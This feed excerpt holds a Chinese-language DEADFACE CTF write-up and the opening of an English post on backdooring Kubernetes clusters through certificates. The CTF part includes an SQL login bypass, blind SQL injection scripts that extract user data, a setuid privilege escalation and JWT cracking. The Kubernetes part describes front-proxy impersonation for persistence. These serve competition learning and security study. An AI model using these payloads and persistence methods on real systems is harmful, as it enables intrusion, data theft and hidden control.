src="https://cdn-images-1.medium.com/max/943/0*ylumhzJx9U-HfVMj.png" /></figure><p>还是需要密码，可以大胆猜测密码长度为5，先使用https作为异或值推密码</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/914/0*TJ1VgALIyZMcT-8l.png" /></figure><p>再用密码解密，明文格式正确说明密码正确</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*OkYBcgYCzGi8BLtx.png" /></figure><p>再用java环境跑一下附件即可。flag{Fr00t-Br00t-is-the-only-cereal-for-Prez-Trump!}</p><h3>Cereal Killer 02</h3><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>This year, America’s politicians are weighing in on the IMPORTANT issues…! As in, which spooky cereal is best?</em></blockquote><blockquote><em>Vice President Harris has a favorite spooky cereal. Tear apart this binary and see if you can figure out what it is!</em></blockquote><p>附件拖入ida</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/863/0*pesXt1ZPB1pMDJle.png" /></figure><p>还是一样，需要密码，对输入的处理是md5，</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/791/0*ZChilkKSUswMQOBg.png" /></figure><p>程序末尾甚至给了hashcat的爆破参数，十二位长度，需要五个小时才能跑完。后面发现输出部分和输入没关系，直接跳过check部分进入输出部分即可。flag{Mdm-Harris-Eats-FrankenB3rry-On-Yell0w-SchQQl-Busses!}</p><h3>Cereal Killer 03</h3><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>This year, America’s politicians are weighing in on the IMPORTANT issues…! As in, which spooky cereal is best?</em></blockquote><blockquote><em>President Biden has a favorite spooky cereal. Tear apart this binary and see if you can figure out what it is!</em></blockquote><p>附件拖入ida</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/938/0*5vWZ7CqB9ypmDWNZ.png" /></figure><p>还是一样，对输入的处理是md5，不一样的是md5值作为后面RC4解密输出的密钥。那实际上RC4的密钥是已知的</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/0*KfruMtryy9ZuLvMh.png" /></figure><p>直接提取密钥RC4解密输出即可。flag{0Bama-C0unts-in-the-shad0wz!}</p><h3>Programming</h3><h3>Winning Factors</h3><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>As another test of your programming prowess, Turbo Tactical wants to see if you can write a script to solve mathematic equations being served by a remote server within 3 seconds.</em></blockquote><blockquote><em>Submit the flag as flag{flag-text}</em></blockquote><pre>from pwn import *<br>context.log_level = &quot;debug&quot;</pre><pre>def f(d):<br>    if d == 0:<br>        return 1<br>    else:<br>        return d * f(d-1) </pre><pre>io = remote(&quot;147.182.245.126&quot;, 33001)</pre><pre>io.recvuntil(b&quot;of &quot;)<br>data = int(io.recvuntil(b&quot;.&quot;, drop=True))<br>io.send(str(f(data)).encode())<br>io.interactive()</pre><h3>Traffic Analysis</h3><h3>Data Breach</h3><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>Created By: RP-01?</em></blockquote><blockquote><em>We suspect an internal employee is leaking sensitive information, but the source remains unclear. We’ve captured network traffic for analysis. Your mission is to investigate the data and locate the hidden flag.</em></blockquote><blockquote><em>Can we count on your expertise to track it down?</em></blockquote><blockquote><em>Submit the flag as flag{flag-text}.</em></blockquote><blockquote><a href="https://tinyurl.com/y6cejf3j"><strong><em>Download PCAP</em></strong></a><em> (342KB)\nSHA1: 48744d0b724fc30f660a7953b5e974320b60a47c</em></blockquote><p>搜flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*MzqGRdSjWb6neE5y.png" /></figure><h3>Wild Wild West</h3><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>Created By: RP-01?</em></blockquote><blockquote><em>Woah, our network has been lighting up like the fourth of a July on steroids, I tell you HWHAT. Now, given that we had a user call in complaining about weird stuff happening, I think it is about time you cowboy up and figure out what is happening in our here network.</em></blockquote><blockquote><em>Submit the flag as flag{flag-text}.</em></blockquote><blockquote><a href="https://tinyurl.com/2fbce5b7"><strong><em>Download PCAP</em></strong></a><em> (394KB)</em></blockquote><blockquote><em>SHA1: e6959efe4522d92aa18c8ea15d8614fcfbdaee59</em></blockquote><p>搜flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*9u62QEfYhLNVnWAm.png" /></figure><h3>Unusual Exfiltration</h3><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>Created By: neatzsche</em></blockquote><blockquote><em>Network logs from a machine DEADFACE compromised are being analyzed. It seems something was exfiltrated to their proxy machine on the local network before being sent back to their C2 server. Can you help figure out what data was stolen?</em></blockquote><blockquote><em>Submit the flag as flag{flag-text}</em></blockquote><blockquote><a href="https://tinyurl.com/2ew497ye"><strong><em>Download PCAP</em></strong></a><em> (7KB)</em></blockquote><blockquote><em>SHA1: 00cbc381589aac82eae081c7d40ce7b0f4d46645</em></blockquote><p>没找到数据传输的地方</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Y6OkWf7l3MkoA76o.png" /></figure><p>追踪TCP流发现大量请求</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*jzJuIIXYVnQJaN5N.png" /></figure><pre>from scapy.all import *<br>import os<br># 定义PCAP文件路径<br>pcap_file = &#39;unusualexfil.pcapng&#39;<br># 检查文件是否存在<br>if not os.path.isfile(pcap_file):<br>    print(f&quot;{pcap_file} 不存在，请检查文件路径。&quot;)<br>else:<br>    # 读取pcap文件<br>    packets = rdpcap(pcap_file)<br>    tcp_requests = []<br>    # 遍历每个数据包<br>    for pkt in packets:<br>        # 检查数据包是否有TCP层<br>        if pkt.haslayer(TCP):<br>            # 提取TCP请求包内容并去掉空行<br>            payload = bytes(pkt[TCP].payload).strip()<br>            # 只保留非空的负载内容<br>            if payload:<br>                tcp_requests.append(payload)<br>    # 保存提取的TCP请求内容到文件<br>    with open(&#39;tcp_requests.txt&#39;, &#39;wb&#39;) as f:<br>        for req in tcp_requests:<br>            f.write(req + b&#39;\n&#39;)<br>    print(&quot;所有非空的TCP请求包内容已提取到tcp_requests.txt文件中。&quot;)</pre><p>写脚本批量提取可以明显看到二维码特征</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/410/0*7tEQbT6FKx-7J-ZA.png" /></figure><p>编写脚本转换 这里随便改改 31x31时候图片是对的 得删掉上下两行 没明白啥问题</p><pre>from PIL import Image<br># 读取像素值<br>with open(&#39;1.txt&#39;, &#39;r&#39;) as file:<br>    pixel_values = []<br>    for line in file:<br>        # 去掉换行符，并将每个字符转换为像素值<br>        values = [255 if char == &#39;R&#39; else 0 for char in line.strip()]<br>        pixel_values.extend(values)<br><br># 创建一个新的图像对象<br>image = Image.new(&#39;L&#39;, (31, 31))  # &#39;L&#39;模式表示灰度图像<br># 将像素值填入图像<br>image.putdata(pixel_values)<br># 保存图像为 flag.png<br>image.save(&#39;flag.png&#39;)<br>print(&quot;flag.png has been created successfully.&quot;)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/838/0*V2X5mM5zCeAJr2uM.png" /></figure><h3>Hostbusters</h3><h3>Landing Zone</h3><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>We have compromised a remote system belonging to deephax, and it’s your job to log in and investigate what you can find. Your mission is to locate a file named flag1.txt, which contains the first piece of crucial information.</em></blockquote><blockquote><em>Use your skills to gain access to the system and find flag1.txt. Remember, this is just the beginning — DEADFACE might have hidden other secrets deeper within the system.</em></blockquote><blockquote><em>Submit the flag as flag{hostbusters1_flagtext}.</em></blockquote><blockquote><strong><em>Connection Info:</em></strong></blockquote><blockquote><em>Host: deephax@deephax.deadface.io</em></blockquote><blockquote><em>Username: deephax</em></blockquote><blockquote><em>Password: D34df4c32024$</em></blockquote><p>ssh 连接 cat *</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*D85_mAQWCDKbJaYi.png" /></figure><h3>Short-Term</h3><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>Now that you’ve accessed deephax’s machine, see if you can find the flag associated with </em><strong><em>Hostbusters 2</em></strong><em>.</em></blockquote><blockquote><em>Submit the flag as flag{hostbusters2_flagtext}.</em></blockquote><pre>/tmp $ cat .flag2.txt</pre><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>flag{hostbusters2_0a2e2dd0461a7fd3}</em></blockquote><h3>Mind Your Surroundings</h3><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>There’s a flag that has eluded us on deephax’s machine. We’ve looked through various files but can’t seem to locate it. See if you can characterize the machine and find the flag.</em></blockquote><blockquote><em>Submit the flag as flag{hostbusters3_flagtext}.</em></blockquote><p>根据hint 查看env</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*_5EskUCQp-Di1t1p.png" /></figure><h3>Eavesdropper</h3><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>Scope out and continue characterizing the host. What is the deephax’s machine doing? Surely it’s doing something — we need to find out what in order to get the fourth flag.</em></blockquote><p>获取 /usr/local/bin/usrv，之后 upx -d usrv 获取原版程序，拖入 IDA 反编译</p><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>flag{hostbusters4_3dbd2ed4c572b7ea}</em></blockquote><h3>Under Pressure</h3><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>Finally, we’ve almost captured all of the secrets on this machine! There is a flag that belongs to the root user. Perhaps there is a way to escalate privileges from lilith to root that will allow you to read the flag.</em></blockquote><p>有个 readlog 程序</p><pre>/usr/bin $ ls -la readlog<br>-rwsr-sr-x    1 lilith   lilith       19072 Sep 29 17:52 readlog</pre><p>参数 c 可以执行命令</p><pre>void __fastcall __noreturn execute_command_as_lilith(const char *a1)<br>{<br>  struct passwd *v1; // [rsp+18h] [rbp-8h]</pre><pre>  v1 = getpwnam(&quot;lilith&quot;);<br>  if ( !v1 )<br>  {<br>    fwrite(&quot;User lilith not found\n&quot;, 1uLL, 0x16uLL, &amp;dword_0);<br>    exit(1);<br>  }<br>  if ( !setresgid(v1-&gt;pw_gid, v1-&gt;pw_gid, v1-&gt;pw_gid) &amp;&amp; !setresuid(v1-&gt;pw_uid, v1-&gt;pw_uid, v1-&gt;pw_uid) )<br>  {<br>    printf(&quot;Executing command as lilith: %s\n&quot;, a1);<br>    execl(&quot;/bin/sh&quot;, &quot;sh&quot;, &quot;-c&quot;, a1, 0LL);<br>    perror(&quot;Failed to execute command&quot;);<br>    exit(1);<br>  }<br>  perror(&quot;Failed to switch to user lilith&quot;);<br>  exit(1);<br>}</pre><pre>/usr/bin $ readlog -c ash<br>Executing command as lilith: ash<br>/usr/bin $ id<br>uid=1001(lilith) gid=1001(lilith) groups=1000(deephax)</pre><p>现在我们从 deephax 逃脱到了 lilith，接下来要找 lilith 逃脱到 root</p><p>下面的 sendit 的配置文件是 lilith 组的，我们可以修改配置文件，pwn 掉 sendit</p><p>本机运行 usrv 需要先进行一下 patchelf 操作</p><pre>patchelf --set-interpreter /lib64/ld-linux-x86-64.so.2 ./usrv<br>patchelf --remove-needed libc.musl-x86_64.so.1  ./usrv<br>patchelf --add-needed libc.so.6 ./usrv</pre><h3>Send It</h3><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>We believe a flag is being sent from deephax’s machine to one of DEADFACE’s C2 servers. See if there is a way to intercept that flag.</em></blockquote><p>cron 计划任务有个 sendit 程序，配置文件如下</p><pre>/opt/sendit $ ls -la<br>total 32<br>drwxr-xr-x    1 root     root          4096 Sep 29 17:52 .<br>drwxr-xr-x    1 root     root          4096 Sep 29 17:52 ..<br>-rw-rw-r--    1 root     lilith          72 Sep 29 17:51 .config.conf<br>-rwxr-xr-x    1 root     root         19072 Sep 29 17:51 sendit<br>/opt/sendit $ cat .config.conf<br>{<br>  &quot;host&quot;: &quot;c2.deadface.io&quot;,<br>  &quot;port&quot;: 1516,<br>  &quot;path&quot;: &quot;/opt/sendit&quot;<br>}</pre><p>dump 出来，依旧要进行 upx -d 脱壳，之后进行反编译</p><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>flag{hostbusters5_7af321526c15006a}</em></blockquote><h3>TrendyTrove</h3><h3>Let Me In</h3><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>DEADFACE is running an e-commerce site in an attempt to scam victims and steal their data and their money! See if you can find a way to access the site. Submit the flag found on the main page.</em></blockquote><blockquote><em>Submit the flag as flag{flag-text}</em></blockquote><blockquote><a href="https://trendytrove.deadface.io/"><strong><em>TrendyTrove</em></strong></a></blockquote><p>万能密码 admin’or’1</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/717/0*Mb-gk4Wi8b3qEiPv.png" /></figure><h3>Yalonda</h3><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>One of the victims that fell for DEADFACE’s scam is Yalonda Yurlov. Confirm that her data was exposed by submitting her birthdate as the flag.</em></blockquote><blockquote><em>Submit the flag as flag{MM/DD/YYYY}. (An American wrote this, so keep that in mind when formatting your dates)</em></blockquote><blockquote><a href="https://trendytrove.deadface.io/"><strong><em>TrendyTrove</em></strong></a></blockquote><blockquote><em>落入DEADFACE骗局的受害者之一是Yalonda Yurlov。通过提交她的出生日期作为标记，确认她的数据已被泄露。</em></blockquote><blockquote><em>将标志作为标志{MM/DD/YYYY}提交。（这是一位美国人写的，所以在安排日期时要记住这一点）</em></blockquote><p>登录处sql注入，sqlmap自动化不了，可能是有过滤，写脚本查一下</p><pre>1&#39;or+(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),1,1))&lt;0)#</pre><p>查字段名</p><pre>import requests<br>url = &#39;http://trendytrove.deadface.io/login.php&#39;<br>flag = &#39;&#39;<br>for i in range(1, 50):<br>    for j in range(44, 128):<br>        payload = {<br>            &quot;username&quot;: &quot;1&#39;or+(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name=&#39;users&#39;)),&quot; + str(<br>                i) + &quot;,1))=&quot; + str(j) + &quot;)#&quot;,<br>            &quot;password&quot;: &quot;1&quot;}<br>        r = requests.post(url, data=payload)<br>        #print(payload)<br>        #print(r.text)<br>        if &quot;1nj3ct10n&quot; in r.text:<br>            flag += chr(j)<br>            print(flag)<br>            break<br>print(&#39;the flag is &#39; + flag)</pre><p>然后根据用户名查一下</p><pre>import requests<br>url = &#39;http://trendytrove.deadface.io/login.php&#39;<br>flag = &#39;&#39;<br>for i in range(1, 300):<br>    for j in range(44, 128):<br>        payload = {<br>            &quot;username&quot;: &quot;1&#39;or+(ascii(substr((select(dob)from(users)where(first_name like &#39;%Yalonda%&#39;)),&quot; + str(<br>                i) + &quot;,1))=&quot; + str(j) + &quot;)#&quot;,<br>            &quot;password&quot;: &quot;1&quot;}<br>        r = requests.post(url, data=payload)<br>        #print(payload)<br>        #print(r.text)<br>        if &quot;1nj3ct10n&quot; in r.text:<br>            flag += chr(j)<br>            print(flag)<br>            break<br>print(&#39;the flag is &#39; + flag)</pre><h3>Phantom Operators</h3><h3>Big Fish</h3><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>TGRI employee Garry Sartoris fell for a phishing attack recently. It’s hard to say what DEADFACE was after, but Turbo Tactical needs your help looking through the attack artifacts. Take a look at this PCAP and submit the attacker’s IP address.</em></blockquote><blockquote><em>Submit the flag as flag{IP Address}.</em></blockquote><blockquote><a href="https://tinyurl.com/22b3pjur"><strong><em>Download File</em></strong></a></blockquote><blockquote><em>SHA1: d90eaf6796a469f4a38d22c7b83caedadff99ee5</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*MX6jYTMkSNDiVzVC.png" /></figure><p>flag{45.55.201.188}</p><h3>Password</h3><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>Garry Sartoris provided his credentials to the fake login page. TGRI wants to ensure that their password policy enforces secure practices. What is Garry’s password?</em></blockquote><blockquote><em>Submit the flag as flag{password}.</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*pKxamqIXeudgMwoy.png" /></figure><p>flag{S4rt0RIS19&amp;&amp;}</p><h3>Suspicious Sender</h3><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>Which IT member did DEADFACE pose as in the email in order to trick Garry Sartoris?</em></blockquote><blockquote><em>Submit the flag as flag{firstname lastname}. Example: flag{John Smith}.</em></blockquote><p>伪造了html页面 伪装成 William Hadderly</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*pOvCG5NgesIIkpzJ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/648/0*iBLrksSWDBHPVnM_.png" /></figure><h3>Right Time</h3><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>TGRI员工Garry Sartoris最近遭受了网络钓鱼攻击。很难说DEADFACE想要什么，但Turbo Tactical需要你的帮助来查看攻击文物。查看此内存转储，并提交捕获内存的系统时间。</em></blockquote><blockquote><em>将标志作为标志{YYYY-MM-DD hh:MM:ss+00:00}提交。</em></blockquote><blockquote><em>下载文件（2.13GB）</em></blockquote><blockquote><em>SHA1:c0b624c3e3bcc88782d405a2545ce9b1b18334</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/0*c-fSgaodyXiL6PEI.png" /></figure><p>flag{2024–10–06 23:38:00+00:00}</p><h3>Bad Processes</h3><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>What is the PID of the malicious file that Garry ran after falling victim to the phishing scam?</em></blockquote><blockquote><em>Submit the flag as flag{PID}.</em></blockquote><blockquote><em>Garry在成为网络钓鱼骗局的受害者后运行的恶意文件的PID是多少？</em></blockquote><blockquote><em>将标志作为标志｛PID｝提交。</em></blockquote><pre>python D:\Tools\misc\volatility3-develop\vol.py -f C:\Users\PC-07\Desktop\physmem.raw windows.pslist.PsList</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/981/0*LmK3K3dMw9_LPo6l.png" /></figure><p>flag{8460}</p><h3>Product ID</h3><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>We suspect that Garry Sartoris was using a non-compliant Windows host and not his work-provided laptop from TGRI. Is there any way to confirm this in the data that DEADFACE exfiltrated? Provide the Windows Product ID of Garry Sartoris’s machine.</em></blockquote><blockquote><em>Submit the flag as flag{Windows Product ID}. Example: flag{12345–67890–12345–67890}.</em></blockquote><blockquote><em>我们怀疑Garry Sartoris使用的是不兼容的Windows主机，而不是他从TGRI提供的笔记本电脑。有什么方法可以在DEADFACE泄露的数据中证实这一点吗？提供Garry Sartoris机器的Windows产品ID。</em></blockquote><blockquote><em>将标志作为标志｛Windows产品ID｝提交。示例：标志{12345–67890–12345–67890}。</em></blockquote><p>在UDP中找到的Windows信息</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*GLRwR07kjsJmytea.png" /></figure><h3>System Information</h3><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>The malware that was ran on Garry’s machine gathered system information. We suspect that this information was saved on the system somewhere. Provide the full filepath to the file where DEADFACE saved system information.</em></blockquote><blockquote><em>Submit the flag as flag{path\to\file}. Example: flag{C:\Windows\System32\file.txt}</em></blockquote><p>在Garry的机器上运行的恶意软件收集了系统信息。我们怀疑这些信息保存在系统的某个地方。提供DEADACE保存系统信息的文件的完整文件路径。</p><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>将标志作为标志｛path\to\file｝提交。示例：标志｛C:\Windows\System32\file.txt｝</em></blockquote><pre>python D:\Tools\misc\volatility3-develop\vol.py -f C:\Users\PC-07\Desktop\physmem.raw windows.filescan | findstr &quot;txt&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Yh-vJe2tdswtO2Bm.png" /></figure><p>字符问题修改了代码，参考：<a href="https://github.com/volatilityfoundation/volatility3/issues/637"><strong>https://github.com/volatilityfoundation/volatility3/issues/637</strong></a></p><h3>OSINT</h3><h3>Cup of Compromised Joe</h3><p>google搜图找到一堆咖啡厅</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*vIfdB05NyqhXCaJD.png" /></figure><p>搜索第三个咖啡厅跳出来一堆咖啡厅</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/885/0*Eq3wvWEzF6nyz_Dh.png" /></figure><p>找到目标咖啡厅</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/739/0*wh98NzVOjgppew20.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*nZ5sUdA9EpVsMEWq.png" /></figure><h3>The Chase</h3><h3>Is This Vul-ner-ble?</h3><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>DEADFACE is at it again! We have started to catch wind of a big attack in the works and we have to stop them before they wreak havoc again this year. No! This year DEADFACE is going down big time. One of our threat intelligence analysts has been hard at work and thinks they have stumbled onto a breadcrumb trail in </em><a href="https://ghosttown.deadface.io/t/yes-it-is-vulnerable/70"><strong><em>GhostTown</em></strong></a><em>. Can you figure out how DEADFACE got their initial access into our environment?</em></blockquote><blockquote><em>Welcome to </em><strong><em>The Chase</em></strong><em> challenge series.</em></blockquote><blockquote><em>Submit the flag as flag{flag}.</em></blockquote><p>DEADFACE又来了！我们已经开始听到一场大规模袭击的风声，我们必须在他们今年再次肆虐之前阻止他们。不！今年DEADFACE将大幅下跌。我们的一位威胁情报分析师一直在努力工作，他认为他们在GhostTown偶然发现了一条面包屑线索。你能弄清楚DEADFACE最初是如何进入我们环境的吗？</p><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>欢迎来到The Chase挑战系列。</em></blockquote><blockquote><em>将标志作为标志{flag}提交。</em></blockquote><pre>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsIm5vbmNlIjoiIn0.eyJpc3MiOiJ0dXJib3RhY3RpY2FsLm5ldCIsImV4cCI6IjE0NTA2NTkxMDIiLCJ1cG4iOiJjZm9kZXJhIiwiZnVsbF9uYW1lIjo iQ2xhaXIgRm9kZXJhIiwidXNlcm5hbWUiOiJDRm9kZXJhOTEiLCJwaG9uZV9udW1iZXIiOiIiLCJqdGkiOiJmdGlkMjM0MmEtMzI0M2QtMjM0My1kMzR5OHlnZmZlIiwic3R1ZmYiOjExMjIyLCJncm 91CHMiOlsibG93X2FkbWluIiwicmVtb3RlX3VzZXIiLCJsYWJ0ZWNoIl0sIm9yZyI6IlR1cmJvVGFjdGljYWwiLCJzdWJfb3JnIjoiR3JvdXBfRCISIm5idCI6NTc1NDczNzU0ODI5NTI3 NTAwMDASI mxkZV9zIjpbeyJhc3RhdHVzIjoibnVsbCIsImJzdGF0dXMiOiJudWxsIiwiY3N0YXR1cyI6InZhbGlkIiwiZHN0YXR1cyI6Im51bGwifV19.kQKRFPLj_SqVeEiBjfKi7FKOEVoV71JgdFRxDTjp7TQ</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*djstGIUI_waGCs1r.png" /></figure><p>应该是爆破jwt，但是没有成功</p><p>在这里下载了大字典，成功爆破了</p><p><a href="https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm"><strong>https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm</strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2a0ab884c6b9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Kubernetes has its “ADCS” How To Backdoor a Kubernetes in silence]]></title>
            <link>https://wgpsec.medium.com/en-kubernetes-has-its-adcs-how-to-backdoor-a-kubernetes-in-silence-08f382183e59?source=rss-8f7cabea8024------2</link>
            <guid isPermaLink="false">https://medium.com/p/08f382183e59</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[kubernetes-security]]></category>
            <category><![CDATA[kubernetes]]></category>
            <dc:creator><![CDATA[WgpSec]]></dc:creator>
            <pubDate>Tue, 27 Aug 2024 00:24:36 GMT</pubDate>
            <atom:updated>2024-08-27T00:26:18.187Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>Kubernetes itself has various configuration and authentication techniques, including mTLS certificate exchange authentication, JWT token, Static Token, Bootstrap token, and other validation methods. Here I will mainly introduce how to utilize multiple similar techniques at the certificate level.</p><h4>TL;DR</h4><p>This article mainly aims to introduce the usage and post exploitation of various certificates and authentication technologies in Kubernetes. It covers the following aspects:</p><ol><li><strong>Certificate Initialization</strong>: During initialization, Kubernetes generates or uses an existing RootCA and issues certificates for critical internal services (such as etcd). The main purposes of these certificates are encryption communication and identity authentication.</li><li><strong>Trusted Proxy for APIServer</strong>: The article explains how to configure a reverse proxy using nginx to leverage APIServer. However, this method is more challenging as it requires deploying your own server and configuring relevant parameters.</li><li><strong>Subsequent Utilization of ETCD Certificates</strong>: ETCD is the database in the Kubernetes system, controlling ETCD allows bypassing APIServer’s authorization and directly manipulating cluster status and permissions. The article also mentions an NCCGroup article that provides further methods for utilizing ETCD.</li><li><strong>Client Certificates</strong>: mTLS is a commonly used means of administrator authentication in Kubernetes. The article provides detailed explanations on generating client certificates and utilizing them to take control of the entire cluster.</li><li><strong>JWT Tokens</strong>: The article delves into Kubernetes’ JWT token mechanism, particularly its exploitation methods when there is no mTLS mutual verification in place. It introduces a tool called TicketMaster for simulating attacks using any service account. Covering multiple technical details from certificate generation to post exploitation, this content is suitable for readers who have an in-depth understanding of Kubernetes security requirements.</li></ol><h3>Certification Initialization</h3><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>Reference:</em></blockquote><blockquote><a href="https://www.zhaohuabing.com/post/2020-05-19-k8s-certificate/"><em>https://www.zhaohuabing.com/post/2020-05-19-k8s-certificate/</em></a><em> This article is written very well, providing a comprehensive introduction to the certificate system of k8s. It is easy to understand and much more user-friendly compared to the official documentation’s best practices. Highly recommended.</em></blockquote><blockquote><a href="https://kubernetes.io/docs/tasks/administer-cluster/kubeadm/kubeadm-certs/"><em>https://kubernetes.io/docs/tasks/administer-cluster/kubeadm/kubeadm-certs/</em></a><em> How to manage certificates using kubeadm</em></blockquote><blockquote><a href="https://kubernetes.io/zh-cn/docs/setup/best-practices/certificates/"><em>https://kubernetes.io/zh-cn/docs/setup/best-practices/certificates/</em></a><em> Official documentation on PKI best practices</em></blockquote><p>In the initialization process of k8s, it will first generate a self-signed RootCA or use an existing RootCA, and then generate some intermediate certificates (this step is generally not necessary). Then it will issue certificates for other important internal services or re-sign individual certificates separately, such as etcd intercommunication and access to etcd services. These certificates serve two main purposes: encryption communication and authentication identity verification.</p><p>In persistent or privilege escalation situation in k8s, we will discuss several specific scenarios next: client credentials for accessing etcd clusters in communication-related cases; mutual TLS certificates for APIServer in authentication-related cases; sa certificates for issuing serviceaccount JWT tokens; and front-proxy ca for trusted proxy agents.</p><h3>Post Exploitation</h3><p>After understanding files under /etc/kubernetes/pki folder clearly, now begins to introduce the steps to sign and attacks.</p><h3>Trusted Front Proxy of APIServer</h3><p>Using a trusted forward proxy is very simple, but it requires a higher level of expertise to set up your own service as an API server reverse proxy. While it may not have strong practical significance in terms of real-world applications, it can still be used as a means of external access. All you need to do is configure it in Nginx, for example:</p><pre>server {<br>  listen       443 ssl;<br>  server_name  test.k8sproxy.xxxxx.com;<br>  ssl_certificate      /etc/kubernetes/pki/ca.crt;<br>  ssl_certificate_key  /etc/kubernetes/pki/ca.key;<br>  location / {<br>   access_by_lua &#39;<br>   -- your front proxy token is jwt, so use resty.jwt to parse<br>   local cjson = require(&quot;cjson&quot;)<br>   local jwt = require(&quot;resty.jwt&quot;)<br>   -- get auth header<br>   local auth_header = ngx.var.http_Authorization<br><br>   if auth_header == nil then<br>    -- Ban no Token header<br>    ngx.exit(ngx.HTTP_UNAUTHORIZED)<br>   end<br><br>   local _, _, jwt_token = string.find(auth_header, &quot;Bearer%s+(.+)&quot;)<br>   if jwt_token == nil then<br>    -- ban bad token fornat<br>    ngx.exit(ngx.HTTP_UNAUTHORIZED)<br>   end<br><br>   -- secret!<br>   local secret = &quot;your-jwt-sercets&quot;<br>   local jwt_obj = jwt:verify(secret, jwt_token)<br>   if jwt_obj.verified == false then<br>    -- ban verified error<br>    ngx.exit(ngx.HTTP_UNAUTHORIZED)<br>   else<br>    -- use user in jwt object with X-Remote-User header<br>    ngx.req.set_header(&quot;X-Remote-User&quot;, jwt_obj.user)<br>   end<br>  &#39;;<br>  proxy_ssl_certificate /etc/kubernetes/pki/front-proxy.crt;<br>  proxy_ssl_certificate_key /etc/kubernetes/pki/front-proxy.key;<br>  proxy_pass https://apiserver:6443;<br> }<br>}</pre><p>But game is still not over.</p><p>APIServer provides several command line parameters: --requestheader-username-headers, --requestheader-group-headers, and --requestheader-extra-headers-prefix. These parameters are used to configure the field names of the HTTP headers.</p><p>Among them, only the parameter --requestheader-username-headers is required. In the current scenario, it is sufficient to configure this parameter alone. For example, by adding --requestheader-username-headers=X-Remote-User to the APIServer startup parameters, APIServer will retrieve the X-Remote-User header from the request and use its corresponding value as the user for current operations.</p><p>Since APIServer retrieves usernames from request headers, a question arises: how can we ensure that these requests are trustworthy? How do we prevent malicious users from forging requests and bypassing identity authentication proxy servers to directly access APIServer with fake requests? Would this allow anyone to simulate any user’s access? Of course not. We need a way to verify the identity of the proxy server.</p><p>Fortunately, K8s developers have considered this issue. Therefore, APIServer provides two additional parameters: --requestheader-client-ca-file and --requestheader-allowed-names. Among them, --requestheader-client-ca-file is mandatory and is used to specify the location of CA certificates for authenticating proxy servers. If both parameters are specified together, in addition to verifying client certificate issuers, it will also verify client certificate CN fields to ensure that no one uses other certificates impersonating as proxy servers.</p><p>In conclusion, exploiting such certificates post-exploitation techniques is usually more difficult or relatively unnecessary compared to other methods mentioned above.</p><h3>ETCD Certification Post Exploitation</h3><p>etcd plays the role of a traditional web server database in the 